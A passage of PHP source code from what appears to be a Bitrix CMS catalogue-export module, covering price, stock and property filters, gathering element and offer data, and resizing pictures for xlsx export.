array($op.'CATALOG_QUANTITY'=>$arAddFilter['find_el_catalog_quantity'])
);
if(!isset($arFilter['CATALOG_TYPE'])) $arFilter['CATALOG_TYPE'] = array(1,2,3);
}
else
{
$arFilter[$op.'CATALOG_QUANTITY'] = $arAddFilter['find_el_catalog_quantity'];
}
}
$arStoreKeys = preg_grep('/^find_el_catalog_store\d+_/', array_keys($arAddFilter));
$arStoreKeys = array_unique(array_map(create_function('$n', 'return preg_replace("/^find_el_catalog_store(\d+)_.*$/", "$1", $n);'), $arStoreKeys));
if(!empty($arStoreKeys))
{
foreach($arStoreKeys as $storeKey)
{
if(strlen($arAddFilter['find_el_catalog_store'.$storeKey.'_quantity']) > 0)
{
$op = $this->GetNumberOperation($arAddFilter['find_el_catalog_store'.$storeKey.'_quantity'], $arAddFilter['find_el_catalog_store'.$storeKey.'_quantity_comp']);
if(!empty($arSkuFilter) && defined('\Bitrix\Catalog\ProductTable::TYPE_SKU'))
{
$arFilter[] = array('LOGIC'=>'OR',
array('CATALOG_TYPE'=>\Bitrix\Catalog\ProductTable::TYPE_SKU),
array($op.'CATALOG_STORE_AMOUNT_'.$storeKey=>$arAddFilter['find_el_catalog_store'.$storeKey.'_quantity'])
);
if(!isset($arFilter['CATALOG_TYPE'])) $arFilter['CATALOG_TYPE'] = array(1,2,3);
}
else
{
$arFilter[$op.'CATALOG_STORE_AMOUNT_'.$storeKey] = $arAddFilter['find_el_catalog_store'.$storeKey.'_quantity'];
}
}
}
}
if(strlen($arAddFilter['find_el_catalog_store_any_quantity']) > 0 && is_array($arAddFilter['find_el_catalog_store_any_quantity_stores']) && count($arAddFilter['find_el_catalog_store_any_quantity_stores']) > 0)
{
$op = $this->GetNumberOperation($arAddFilter['find_el_catalog_store_any_quantity'], $arAddFilter['find_el_catalog_store_any_quantity_comp']);
$arFilterItem = array('LOGIC'=>'OR');
if(!empty($arSkuFilter) && defined('\Bitrix\Catalog\ProductTable::TYPE_SKU'))
{
$arFilterItem[] = array('CATALOG_TYPE'=>\Bitrix\Catalog\ProductTable::TYPE_SKU);
if(!isset($arFilter['CATALOG_TYPE'])) $arFilter['CATALOG_TYPE'] = array(1,2,3);
}
foreach($arAddFilter['find_el_catalog_store_any_quantity_stores'] as $storeKey)
{
$arFilterItem[] = array($op.'CATALOG_STORE_AMOUNT_'.$storeKey=>$arAddFilter['find_el_catalog_store_any_quantity']);
}
$arFilter[] = $arFilterItem;
}
$arPriceKeys = preg_grep('/^find_el_catalog_price_\d+$/', array_keys($arAddFilter));
$arPriceKeys = array_unique(array_map(create_function('$n', 'return preg_replace("/^find_el_catalog_price_(\d+)$/", "$1", $n);'), $arPriceKeys));
if(!empty($arPriceKeys))
{
foreach($arPriceKeys as $priceKey)
{
if(strlen($arAddFilter['find_el_catalog_price_'.$priceKey]) > 0
|| $arAddFilter['find_el_catalog_price_'.$priceKey.'_comp']=='empty')
{
$op = $this->GetNumberOperation($arAddFilter['find_el_catalog_price_'.$priceKey], $arAddFilter['find_el_catalog_price_'.$priceKey.'_comp']);
if(!empty($arSkuFilter) && defined('\Bitrix\Catalog\ProductTable::TYPE_SKU'))
{
$arFilter[] = array('LOGIC'=>'OR',
array('CATALOG_TYPE'=>\Bitrix\Catalog\ProductTable::TYPE_SKU),
array($op.'CATALOG_PRICE_'.$priceKey=>$arAddFilter['find_el_catalog_price_'.$priceKey])
);
if(!isset($arFilter['CATALOG_TYPE'])) $arFilter['CATALOG_TYPE'] = array(1,2,3);
}
else
{
$arFilter[$op.'CATALOG_PRICE_'.$priceKey] = $arAddFilter['find_el_catalog_price_'.$priceKey];
}
}
}
}
foreach ($arProps as $arProp)
{
if ('Y' == $arProp["FILTRABLE"] && 'F' != $arProp["PROPERTY_TYPE"])
{
if (!empty($arProp['PROPERTY_USER_TYPE']) && isset($arProp["PROPERTY_USER_TYPE"]["AddFilterFields"]))
{
$fieldName = "filter_".$listIndex."_find_el_property_".$arProp["ID"];
$GLOBALS[$fieldName] = $arAddFilter["find_el_property_".$arProp["ID"]];
$GLOBALS['set_filter'] = 'Y';
call_user_func_array($arProp["PROPERTY_USER_TYPE"]["AddFilterFields"], array(
$arProp,
array("VALUE" => $fieldName),
&$arFilter,
&$filtered,
));
}
else
{
$value = $arAddFilter["find_el_property_".$arProp["ID"]];
if(is_array($value)) $value = array_diff(array_map('trim', $value), array(''));
if((is_array($value) && count($value)>0) || (!is_array($value) && strlen($value)))
{
if(is_array($value))
{
foreach($value as $k=>$v)
{
if($v === "NOT_REF") $value[$k] = false;
}
}
elseif($value === "NOT_REF") $value = false;
if($arProp["PROPERTY_TYPE"]=='E' && $arProp["USER_TYPE"]=='')
{
$value = trim($value);
if(preg_match('/[,;\s\|]/', $value)) $arFilter["PROPERTY_".$arProp["ID"]] = array_diff(array_map('trim', preg_split('/[,;\s\|]/', $value)), array(''));
else $arFilter["?PROPERTY_".$arProp["ID"]] = $value;
}
else
{
$arFilter["?PROPERTY_".$arProp["ID"]] = $value;
}
}
}
}
}
}
$this->filters[$listIndex] = $arFilter;
$this->skuFilters[$listIndex] = $arSkuFilter;
}
else
{
$arFilter = $this->filters[$listIndex];
$arSkuFilter = $this->skuFilters[$listIndex];
}
$arFields = $this->GetFieldList($listIndex);
$this->customFieldSettings = array();
$this->arPricesGroup = array();
$this->arPropListProps = array();
$arFieldsAdded = array();
if(is_array($this->fparams[$listIndex]))
{
foreach($this->fparams[$listIndex] as $fieldIndex=>$arSettings)
{
$field = $arFields[$fieldIndex];
$this->customFieldSettings[$field] = $arSettings;
if($field=='IP_LIST_PROPS' || $field=='OFFER_IP_LIST_PROPS')
{
if(is_array($arSettings['PROPLIST_PROPS_LIST']))
{
foreach($arSettings['PROPLIST_PROPS_LIST'] as $k=>$v)
{
$v = (int)$v;
if($v > 0 && !in_array($v, $this->arPropListProps)) $this->arPropListProps[] = $v;
}
}
}
if(preg_match('/^(OFFER_)?ICAT_PRICE(\d+)_PRICE_DISCOUNT$/', $field, $m))
{
if(is_array($arSettings['USER_GROUP']) && !empty($arSettings['USER_GROUP']))
{
$userGroup = $arSettings['USER_GROUP'];
sort($userGroup, SORT_NUMERIC);
$ugKey = implode('_', $userGroup);
if(!isset($this->arPricesGroup[$m[2]])) $this->arPricesGroup[$m[2]] = array();
if(!isset($this->arPricesGroup[$m[2]][$ugKey])) $this->arPricesGroup[$m[2]][$ugKey] = $userGroup;
}
}
if(isset($arSettings['REL_ELEMENT_FIELD']) && strlen($arSettings['REL_ELEMENT_FIELD']) > 0)
{
$arFieldsAdded[] = $arFields[$fieldIndex].'|'.$arSettings['REL_ELEMENT_FIELD'];
}
if(isset($arSettings['REL_SECTION_FIELD']) && strlen($arSettings['REL_SECTION_FIELD']) > 0)
{
$arFieldsAdded[] = $arFields[$fieldIndex].'|'.$arSettings['REL_SECTION_FIELD'];
}
if(isset($arSettings['CONVERSION']) && is_array($arSettings['CONVERSION']) && $field)
{
foreach($arSettings['CONVERSION'] as $k=>$v)
{
$arKeys = array();
if(preg_match_all('/#([A-Za-z0-9\_]+)#/', $v['FROM'], $m)) $arKeys = array_merge($arKeys, $m[1]);
if(preg_match_all('/#([A-Za-z0-9\_]+)#/', $v['TO'], $m)) $arKeys = array_merge($arKeys, $m[1]);
if($v['CELL'] && !in_array($v['CELL'], array('ELSE'))) $arKeys[] = $v['CELL'];
foreach($arKeys as $key)
{
if(!in_array($key, $arFields) && !in_array($key, $arFieldsAdded))
{
$arFieldsAdded[] = $key;
}
}
}
}
}
}
$arAllFields = array_merge($arFields, $arFieldsAdded);
$bOnlySections = true;
while($bOnlySections && $arCurField = each($arAllFields))
{
if(!preg_match('/^ISECT(\d+)?_/', $arCurField['value']) && $arCurField['value']!='IE_SECTION_PATH' && $arCurField['value']!='')
{
$bOnlySections = false;
}
}
$arData = array();
$arParams = array(
'FILTER' => $arFilter,
'SKU_FILTER' => $arSkuFilter,
'NAV_PARAMS' => $arNavParams,
'FIELDS' => $arAllFields,
'TYPE' => ($bOnlySections ? 'SECTION' : 'ELEMENT'),
'SECTION_KEY' => $sectionKey
);
$arResElements = $this->GetElementsData($arData, $arParams);
foreach($arData as $k=>$arElementData)
{
foreach($arFields as $fname)
{
if(!isset($arElementData[$fname])) $arData[$k][$fname] = $arElementData[$fname] = '';
}
$arFieldSettings = array();
if(is_array($this->fparams[$listIndex]))
{
foreach($this->fparams[$listIndex] as $fieldIndex=>$arSettings)
{
$field = $arFields[$fieldIndex];
$arFieldSettings[$field] = $arSettings;
$arFieldSettings[$field.'_'.$fieldIndex] = $arSettings;
if($field=='IP_LIST_PROPS' || $field=='OFFER_IP_LIST_PROPS')
{
if($field=='OFFER_IP_LIST_PROPS')
{
$fieldPrefix = 'OFFER_';
$arIblockProps = $this->GetIblockProperties($offersIblockId);
}
else
{
$fieldPrefix = '';
$arIblockProps = $this->GetIblockProperties($iblockId);
}
$plFullVal = '';
if(is_array($arSettings['PROPLIST_PROPS_LIST']))
{
$sep1 = $arSettings['PROPLIST_PROPS_SEP_VALS'];
if(strlen(trim($sep1))==0) $sep1 = "\r\n";
$sep2 = $arSettings['PROPLIST_PROPS_SEP_NAMEVAL'];
if(strlen(trim($sep2))==0) $sep2 = ": ";
$showEmpty = (bool)($arSettings['PROPLIST_PROPS_SHOW_EMPTY']=='Y');
foreach($arSettings['PROPLIST_PROPS_LIST'] as $plKey)
{
$plVal = $arElementData[$fieldPrefix.'IP_PROP'.$plKey];
if(is_array($plVal)) $plVal = implode(', ', $plVal);
$plVal = trim($plVal);
if(!$showEmpty && strlen($plVal)==0) continue;
$plFullVal .= (strlen($plFullVal) > 0 ? $sep1 : '').$arIblockProps[$plKey]['NAME'].$sep2.$plVal;
}
}
$arData[$k][$field.'_'.$fieldIndex] = $arElementData[$field.'_'.$fieldIndex] = $plFullVal;
}
if(preg_match('/^(OFFER_)?ICAT_PRICE(\d+)_PRICE_DISCOUNT$/', $field, $m))
{
if(is_array($arSettings['USER_GROUP']) && !empty($arSettings['USER_GROUP']))
{
$userGroup = $arSettings['USER_GROUP'];
sort($userGroup, SORT_NUMERIC);
$ugKey = implode('_', $userGroup);
if(isset($arElementData[$field.'__'.$ugKey]))
{
$arData[$k][$field.'_'.$fieldIndex] = $arElementData[$field.'_'.$fieldIndex] = $arElementData[$field.'__'.$ugKey];
}
}
}
if(isset($arSettings['REL_ELEMENT_FIELD']) || isset($arSettings['REL_SECTION_FIELD']))
{
if(isset($arSettings['REL_ELEMENT_FIELD'])) $fieldKey = $field.'|'.$arSettings['REL_ELEMENT_FIELD'];
else $fieldKey = $field.'|'.$arSettings['REL_SECTION_FIELD'];
if(is_array($arElementData[$fieldKey]))
{
foreach($arElementData[$fieldKey] as $k2=>$val)
{
$arData[$k][$field.'_'.$fieldIndex][$k2] = $arElementData[$field.'_'.$fieldIndex][$k2] = $val;
}
}
else
{
$arData[$k][$field.'_'.$fieldIndex] = $arElementData[$field.'_'.$fieldIndex] = $arElementData[$fieldKey];
}
}
if(isset($arSettings['CONVERSION']) && is_array($arSettings['CONVERSION']) && $field && isset($arElementData[$field]))
{
if(is_array($arElementData[$field]))
{
foreach($arElementData[$field] as $k2=>$val)
{
$arData[$k][$field.'_'.$fieldIndex][$k2] = $arElementData[$field.'_'.$fieldIndex][$k2] = $this->ApplyConversions($val, $arSettings['CONVERSION'], $arElementData);
}
}
else
{
$arData[$k][$field.'_'.$fieldIndex] = $arElementData[$field.'_'.$fieldIndex] = $this->ApplyConversions($arElementData[$field], $arSettings['CONVERSION'], $arElementData);
}
}
if(isset($arSettings['INSERT_PICTURE']) && $arSettings['INSERT_PICTURE']=='Y' && $this->imagedir && $this->IsPictureField($field) && $this->params['FILE_EXTENSION']=='xlsx')
{
if(isset($arData[$k][$field.'_'.$fieldIndex]))
{
$arVals = $arData[$k][$field.'_'.$fieldIndex];
}
else
{
$arVals = $arData[$k][$field];
}
if(!is_array($arVals)) $arVals = array($arVals);
foreach($arVals as $key=>$val)
{
$before = $after = '';
if(preg_match('/(<a[^>]+class="kda\-ee\-conversion\-link"[^>]*>)(.*)(<\/a>)/Uis', $val, $m))
{
$before = $m[1];
$val = $m[2];
$after = $m[3];
}
$arFile = $this->GetFileArray($val);
if($arFile['tmp_name'])
{
$maxWidth = ((int)$arSettings['PICTURE_WIDTH'] > 0 ? (int)$arSettings['PICTURE_WIDTH'] : 100);
$maxHeight = ((int)$arSettings['PICTURE_HEIGHT'] > 0 ? (int)$arSettings['PICTURE_HEIGHT'] : 100);
$filePath = $arFile['tmp_name'];
$loop = 0;
while(!CFile::ResizeImage($arFile, array("width" => $maxWidth, "height" => $maxHeight)) && $loop < 10)
{
usleep(1000);
$loop++;
}
if($filePath != $arFile['tmp_name'])
{
copy($arFile['tmp_name'], $filePath);
}
$arVals[$key] = $before.substr($filePath, strlen($this->imagedir)).$after;
}
else
{
$arVals[$key] = '';
}
}
$arVals = array_diff($arVals, array(''));
if(count($arVals) > 1)
{
$arData[$k][$field.'_'.$fieldIndex] = $arElementData[$field.'_'.$fieldIndex] = $arVals;
}
else
{
$arData[$k][$field.'_'.$fieldIndex] = $arElementData[$field.'_'.$fieldIndex] = implode('', $arVals);
}
}
if($field && isset($arData[$k][$field]) && is_array($arData[$k][$field]))
{
if(isset($arData[$k][$field.'_'.$fieldIndex]))
{
$arVals = $arData[$k][$field.'_'.$fieldIndex];
if(!is_array($arVals)) $arVals = array($arVals);
}
else
{
$arVals = $arData[$k][$field];
}
$fromValue = $arSettings['MULTIPLE_FROM_VALUE'];
$toValue = $arSettings['MULTIPLE_TO_VALUE'];
if(is_numeric($fromValue) || is_numeric($toValue))
{
$from = (is_numeric($fromValue) ? ((int)$fromValue >= 0 ? ((int)$fromValue - 1) : (int)$fromValue) : 0);
$to = (is_numeric($toValue) ? ((int)$toValue >= 0 ? ((int)$toValue - max(0, $from)) : (int)$toValue) : 0);
if($to!=0) $arVals = array_slice($arVals, $from, $to);
else $arVals = array_slice($arVals, $from);
}
if(isset($arSettings['CHANGE_MULTIPLE_SEPARATOR']) && $arSettings['CHANGE_MULTIPLE_SEPARATOR']=='Y') $separator = $arSettings['MULTIPLE_SEPARATOR'];
else $separator = $this->params['ELEMENT_MULTIPLE_SEPARATOR'];
$val = implode($separator, $arVals);
$arData[$k][$field.'_'.$fieldIndex] = $arElementData[$field.'_'.$fieldIndex] = $val;
}
}
}
foreach($arElementData as $k2=>$val)
{
if(is_array($val))
{
if(isset($val['TYPE']) && $val['TYPE']=='MULTICELL')
{
$arData[$k]['ROWS_COUNT'] = max(1, (int)$arData[$k]['ROWS_COUNT'], count($val)-1);
}
else
{
if(isset($arFieldSettings[$k2]['CHANGE_MULTIPLE_SEPARATOR']) && $arFieldSettings[$k2]['CHANGE_MULTIPLE_SEPARATOR']=='Y') $separator = $arFieldSettings[$k2]['MULTIPLE_SEPARATOR'];
else $separator = $this->params['ELEMENT_MULTIPLE_SEPARATOR'];
$arData[$k][$k2] = implode($separator, $val);
}
}
}
}
return array(
'FIELDS' => $arFields,
'DATA' => $arData,
'PAGE_COUNT' => $arResElements['navPageCount'],
'RECORD_COUNT' => $arResElements['navRecordCount'],
'SECTION_KEY' => $arResElements['sectionKey'],
'SECTION_COUNT' => $arResElements['sectionCount']
);
}
public function GetFieldList($listIndex)
{
$arFields = array();
if(isset($this->params['FIELDS_LIST'][$listIndex]))
{
$arFields = $this->params['FIELDS_LIST'][$listIndex];
}
if(!is_array($arFields) || count($arFields)==0)
{
$arFields = array('IE_ID', 'IE_NAME');
}
return $arFields;
}
public function GetElementsData(&$arData, $arParams)
{
if($arParams['TYPE']=='SECTION')
{
return $this->GetSectionsData($arData, $arParams);
}
$arFilter = $arParams['FILTER'];
$arSkuFilter = $arParams['SKU_FILTER'];
$arNavParams = (is_array($arParams['NAV_PARAMS']) ? $arParams['NAV_PARAMS'] : false);
$arAllFields = $arParams['FIELDS'];
$showOnlyFilterSection = (bool)($this->params['SHOW_ONLY_SECTION_FROM_FILTER'][$this->listIndex]=='Y' && is_array($arFilter['SECTION_ID']) && count(array_diff($arFilter['SECTION_ID'], array(-1, 0))) > 0);
$arOfferParams = false;
$offersPropertyId = 0;
if($arParams['TYPE'] != 'OFFER')
{
$arOfferFields = array();
foreach($arAllFields as $k=>$v)
{
if(strpos($v, 'OFFER_')===0)
{
$arOfferFields[$k] = substr($v, 6);
}
}
if(!empty($arOfferFields) && ($iblockOffer = $this->GetCachedOfferIblock($arFilter['IBLOCK_ID'])))
{
$arOfferParams = array(
'TYPE' => 'OFFER',
'FIELDS' => $arOfferFields,
'NAV_PARAMS' => false,
'FILTER' => array(
'IBLOCK_ID' => $iblockOffer['OFFERS_IBLOCK_ID']
)
);
if(is_array($arSkuFilter))
{
$arOfferParams['FILTER'] = array_merge($arOfferParams['FILTER'], $arSkuFilter);
}
$offersPropertyId = (int)$iblockOffer['OFFERS_PROPERTY_ID'];
/*if(count($arOfferParams['FILTER']) > 1)
{
$arFilter['ID'] = CIBlockElement::SubQuery('PROPERTY_'.$offersPropertyId, $arOfferParams['FILTER']);
}*/
}
}
$arElementFields = array('ID', 'IBLOCK_ID', 'IBLOCK_SECTION_ID');
$arElementNameFields = array();
$arPropsFields = array();
$arPropsFieldsRels = array();
$arFieldsIpropTemp = array();
$arFieldsProduct = array();
$arFieldsPrices = array();
$arFieldsProductStores = array();
$arFieldsDiscount = array();
$arFieldsSections = array();
$arFieldsSet = array();
$arFieldsSet2 = array();
foreach($arAllFields as $field)
{
if(strpos($field, 'IE_')===0)
{
$key = substr($field, 3);
$arElementNameFields[] = $key;
if($key=='SECTION_PATH') continue;
if($key=='PREVIEW_PICTURE_DESCRIPTION' || $key=='DETAIL_PICTURE_DESCRIPTION')
{
$key = substr($key, 0, -12);
}
$arElementFields[] = $key;
}
elseif(strpos($field, 'ISECT')===0)
{
$arSect = explode('_', substr($field, 5), 2);
if(strlen($arSect[0])==0) $arSect[0] = 0;
$arFieldsSections[$arSect[0]][] = $arSect[1];
}
elseif(strpos($field, 'ICAT_PRICE')===0)
{
$arPrice = explode('_', substr($field, 10), 2);
$arFieldsPrices[$arPrice[0]][] = $arPrice[1];
}
elseif(strpos($field, 'ICAT_STORE')===0)
{
$arStore = explode('_', substr($field, 10), 2);
$arFieldsProductStores[$arStore[0]][] = $arStore[1];
}
elseif(strpos($field, 'ICAT_DISCOUNT_')===0)
{
$arFieldsDiscount[] = substr($field, 14);
}
elseif(strpos($field, 'ICAT_SET_')===0)
{
$arFieldsSet[] = substr($field, 9);
}
elseif(strpos($field, 'ICAT_SET2_')===0)
{
$arFieldsSet2[] = substr($field, 10);
}
elseif(strpos($field, 'ICAT_')===0)
{
$arFieldsProduct[] = substr($field, 5);
}
elseif(strpos($field, 'IP_PROP')===0)
{
$fieldKey = substr($field, 7);
if(strpos($fieldKey, '|')!==false)
{
list($fieldKey, $fieldRel) = explode('|', $fieldKey, 2);
$arPropsFieldsRels[$fieldKey][] = $fieldRel;
}
$arPropsFields[] = $fieldKey;
}
elseif(strpos($field, 'IP_LIST_PROPS')===0)
{
if(is_array($this->arPropListProps))
{
$arPropsFields = array_merge($arPropsFields, $this->arPropListProps);
}
}
elseif(strpos($field, 'IPROP_TEMP_')===0)
{
$arFieldsIpropTemp[] = substr($field, 11);
}
}
$arSelectElementFields = $arElementFields;
$arSelectElementFieldsForPrice = $arElementFields;
if(!empty($arFieldsPrices))
{
$arPriceIds = array();
foreach($arFieldsPrices as $k=>$v)
{
$arPriceIds[] = $k;
}
$arPriceCodes = array();
$dbRes = CCatalogGroup::GetList(array(), array('ID'=>$arPriceIds), false, false, array('ID', 'NAME'));
while($arCatalogGroup = $dbRes->Fetch())
{
$arPriceCodes[$arCatalogGroup['ID']] = $arCatalogGroup['NAME'];
}
$arGroupPrices = CIBlockPriceTools::GetCatalogPrices($arFilter['IBLOCK_ID'], $arPriceCodes);
if(!is_array($arGroupPrices)) $arGroupPrices = array();
foreach($arGroupPrices as $k=>$v)
{
$arGroupPrices[$k]['CAN_VIEW'] = 1;
//$arSelectElementFields[] = $v['SELECT'];
$arSelectElementFieldsForPrice[] = $v['SELECT'];
}
}
$arSections = $this->GetSelectSections($arFilter, $arParams);
$sCount = count($arSections);
$arFilterOriginal = $arFilter;
$sectionKeyInc = 2;
$dbResCnt = 0;
$dbElemResCnt = 0;
foreach($arSections as $skey=>$arSection)
{
if($arParams['SECTION_KEY'] && $arParams['SECTION_KEY'] > $skey + 1) continue;
$break = false;
$isSection = false;
if(!empty($arSection) && is_numeric($arSection['ID']))
{
$isSection = true;
$arFilter['SECTION_ID'] = $arSection['ID'];
}
if($this->params['EXPORT_SEP_SECTIONS']=='Y')
{
$arFilter['INCLUDE_SUBSECTIONS'] = 'N';
}
if($this->params['EXPORT_ELEMENT_ONE_SECTION']=='Y' && !$showOnlyFilterSection && $arFilter['SECTION_ID'] > 0)
{
$dbESRes = Bitrix\Iblock\ElementTable::GetList(array('filter'=>array('IBLOCK_SECTION_ID'=>$arFilter['SECTION_ID']), 'select'=>array('ID')));
$arIds = array(0);
while($arES = $dbESRes->Fetch())
{
$arIds[] = $arES['ID'];
}
if(!is_array($arFilterOriginal['ID'])) $arFilter['ID'] = $arIds;
else $arFilter['ID'] = array_intersect($arFilterOriginal['ID'], $arIds);
}
$arOrder = $this->GetElementOrder();
$dbResElements = CIblockElement::GetList($arOrder, $arFilter, false, $arNavParams, $arSelectElementFields);
if($isSection
&& (!isset($arNavParams['iNumPage']) || $arNavParams['iNumPage']==1)
&& $dbResElements->SelectedRowsCount() > 0)
{
if($this->params['EXPORT_SECTION_PATH']=='Y')
{
/*$arData[] = array(
'RTYPE' => 'SECTION_PATH',
'NAME' => $this->GetSectionPath($arSection['ID'])
);
$dbResCnt++;*/
$arParentSections = $this->GetParentSections($arSection['ID']);
foreach($arParentSections as $key=>$arParentSection)
{
$arData[] = array(
'RTYPE' => 'SECTION_'.$key,
'NAME' => $this->GetSectionPath($arParentSection['ID']),
'ELEMENT_CNT' => $dbResElements->SelectedRowsCount()
);
$dbResCnt++;
}
}
else
{
$arParentSections = $this->GetParentSections($arSection['ID']);
foreach($arParentSections as $key=>$arParentSection)
{
$arData[] = array(
'RTYPE' => 'SECTION_'.$key,
'NAME' => $arParentSection['NAME'],
'ELEMENT_CNT' => $dbResElements->SelectedRowsCount()
);
$dbResCnt++;
}
}
}
while($arElement = $dbResElements->GetNext())
{
$arElement2 = array();
foreach($arElement as $k=>$v)
{
if(strpos($k, '~')===0)
{
$arElement[substr($k, 1)] = $v;
}
}
foreach($arElement as $k=>$v)
{
if(strpos($k, '~')!==0 && in_array($k, $arElementFields))
{
if($k=='PREVIEW_PICTURE' || $k=='DETAIL_PICTURE')
{
$v = $this->GetFileValue($v);
}
$arElement2['IE_'.$k] = $v;
}
}
if(in_array('PREVIEW_PICTURE_DESCRIPTION', $arElementNameFields))
{
$arElement2['IE_PREVIEW_PICTURE_DESCRIPTION'] = $this->GetFileDescription($arElement['PREVIEW_PICTURE']);
}
if(in_array('DETAIL_PICTURE_DESCRIPTION', $arElementNameFields))
{
$arElement2['IE_DETAIL_PICTURE_DESCRIPTION'] = $this->GetFileDescription($arElement['DETAIL_PICTURE']);
}
$this->GetElementSectionShare($arElement2, $arElement, $arElementNameFields, $arFieldsSections);
if(!empty($arPropsFields))
{
$dbRes2 = CIBlockElement::GetProperty($arElement['IBLOCK_ID'], $arElement['ID'], array(), array());
while($arProp = $dbRes2->Fetch())
{
if(in_array($arProp['ID'], $arPropsFields))
{
$arRels = $arPropsFieldsRels[$arProp['ID']];
if(!is_array($arRels) || empty($arRels)) $arRels = array('');
foreach($arRels as $relField)
{
$fieldKey = 'IP_PROP'.$arProp['ID'];
if($relField) $fieldKey .= '|'.$relField;
$val = $arProp['VALUE'];
if($relField=='IE_PREVIEW_PICTURE' || $relField=='IE_DETAIL_PICTURE')
{
$val = $this->GetFileValue($val);
}
else
{
if($arProp['PROPERTY_TYPE']=='L')
{
$val = $this->GetPropertyListValue($arProp, $val);
}
elseif($arProp['PROPERTY_TYPE']=='E')
{
$val = $this->GetPropertyElementValue($arProp, $val, $relField);
}
elseif($arProp['PROPERTY_TYPE']=='G')
{
$val = $this->GetPropertySectionValue($arProp, $val, $relField);
}
elseif($arProp['PROPERTY_TYPE']=='F')
{
$val = $this->GetFileValue($val);
}
elseif($arProp['PROPERTY_TYPE']=='S' && $arProp['USER_TYPE']=='directory')
{
$val = $this->GetHighloadBlockValue($arProp, $val);
}
elseif($arProp['PROPERTY_TYPE']=='S' && $arProp['USER_TYPE']=='HTML')
{
$val = $this->GetHTMLValue($arProp, $val);
}
}
if($arProp['MULTIPLE']=='Y')
{
if(!isset($arElement2[$fieldKey]))
{
$arElement2[$fieldKey] = array();
}
$arElement2[$fieldKey][] = $val;
}
else
{
$arElement2[$fieldKey] = $val;
}
}
}
if(in_array($arProp['ID'].'_DESCRIPTION', $arPropsFields))
{
$val = $arProp['DESCRIPTION'];
$key = 'IP_PROP'.$arProp['ID'].'_DESCRIPTION';
if($arProp['MULTIPLE']=='Y')
{
if(!isset($arElement2[$key])) $arElement2[$key] = array();
$arElement2[$key][] = $val;
}
else
{
$arElement2[$key] = $val;
}
}
}
}
if(!empty($arFieldsIpropTemp))
{
$ipropValues = new \Bitrix\Iblock\InheritedProperty\ElementValues($arElement['IBLOCK_ID'], $arElement['ID']);
$arFieldsIpropTempCh = preg_grep('/^CH_/', $arFieldsIpropTemp);
if(!empty($arFieldsIpropTempCh))
{
$arPropVals = $ipropValues->queryValues();
foreach($arFieldsIpropTempCh as $key)
{
$subKey = substr($key, 3);
$v = (bool)(isset($arPropVals[$subKey]) && $arPropVals[$subKey]['ENTITY_TYPE']=='E');
$arElement2['IPROP_TEMP_'.$key] = ($v ? 'Y' : 'N');
}
}
$arPropVals = $ipropValues->getValues();
foreach(array_diff($arFieldsIpropTemp, $arFieldsIpropTempCh) as $key)
{
$arElement2['IPROP_TEMP_'.$key] = $arPropVals[$key];
}
}
if(!empty($arFieldsSet) && CBXFeatures::IsFeatureEnabled('CatCompleteSet') && CCatalogProductSet::isProductHaveSet($arElement['ID'], CCatalogProductSet::TYPE_GROUP))
{
$arSets = CCatalogProductSet::getAllSetsByProduct($arElement['ID'], CCatalogProductSet::TYPE_GROUP);
$arSet = current($arSets);
if(is_array($arSet['ITEMS']))
{
foreach($arSet['ITEMS'] as $arSetItem)
{
foreach($arFieldsSet as $setField)
{
$arElement2['ICAT_SET_'.$setField][] = $arSetItem[$setField];
}
}
}
}
if(!empty($arFieldsSet2) && CBXFeatures::IsFeatureEnabled('CatCompleteSet') && CCatalogProductSet::isProductHaveSet($arElement['ID'], CCatalogProductSet::TYPE_SET))
{
$arSets2 = CCatalogProductSet::getAllSetsByProduct($arElement['ID'], CCatalogProductSet::TYPE_SET);
$arSet2 = current($arSets2);
if(is_array($arSet2['ITEMS']))
{
foreach($arSet2['ITEMS'] as $arSet2Item)
{
foreach($arFieldsSet2 as $set2Field)
{
$arElement2['ICAT_SET2_'.$set2Field][] = $arSet2Item[$set2Field];
}
}
}
}
if(!empty($arFieldsProduct))
{
$dbRes2 = CCatalogProduct::GetList(array(), array('ID'=>$arElement['ID']), false, array('nTopCount'=>1), array());
if($arProduct = $dbRes2->Fetch())
{
foreach($arProduct as $k=>$v)
{
if($k=='VAT_ID')
{
if($v)
{
if(!isset($this->catalogVats)) $this->catalogVats = array();
if(!isset($this->catalogVats[$v]))
{
$vatPercent = '';
$dbRes = CCatalogVat::GetList(array(), array('ID'=>$v), array('RATE'));
if($arVat = $dbRes->Fetch())
{
$vatPercent = $arVat['RATE'];
}
$this->catalogVats[$v] = $vatPercent;
}
$v = $this->catalogVats[$v];
}
else
{
$v = '';
}
}
elseif($k=='MEASURE')
{
if(!isset($this->catalogMeasure) || !is_array($this->catalogMeasure))
{
$this->catalogMeasure = array();
$dbRes = CCatalogMeasure::getList(array(), array());
while($arr = $dbRes->Fetch())
{
$this->catalogMeasure[$arr['ID']] = ($arr['SYMBOL_RUS'] ? $arr['SYMBOL_RUS'] : $arr['SYMBOL_INTL']);
}
}
$v = $this->catalogMeasure[$v];
}
$elemKey = $elemParamKey = 'ICAT_'.$k;
if($arParams['TYPE'] == 'OFFER') $elemParamKey = 'OFFER_'.$elemParamKey;
if($k=='PURCHASING_PRICE') $v = $this->GetConvertedPrice($v, $arProduct['PURCHASING_CURRENCY'], $elemParamKey);
$arElement2[$elemKey] = $v;
}
if(in_array('MEASURE_RATIO', $arFieldsProduct))
{
$dbRes = CCatalogMeasureRatio::getList(array(), array('PRODUCT_ID' => $arElement['ID']), false, false, array('RATIO'));
if($arRatio = $dbRes->Fetch())
{
$arElement2['ICAT_MEASURE_RATIO'] = $arRatio['RATIO'];
}
else
{
$arElement2['ICAT_MEASURE_RATIO'] = '';
}
}
}
}
if(!empty($arFieldsPrices))
{
foreach($arFieldsPrices as $key=>$arPriceSelectField)
{
if(empty($arPriceSelectField)) continue;
$arNavStartParams = array('nTopCount'=>1);
$needPriceExt = false;
if(in_array('PRICE_EXT', $arPriceSelectField))
{
$arNavStartParams = false;
$needPriceExt = true;
}
if(in_array('PRICE_DISCOUNT', $arPriceSelectField))
{
$elemKey = $elemParamKey = 'ICAT_PRICE'.$key.'_PRICE_DISCOUNT';
if($arParams['TYPE'] == 'OFFER') $elemParamKey = 'OFFER_'.$elemParamKey;
$dbResElementForPrice = CIblockElement::GetList(array(), array('ID'=>$arElement['ID']), false, array('nTopCount'=>1), $arSelectElementFieldsForPrice);
$arElementForPrice = $dbResElementForPrice->Fetch();
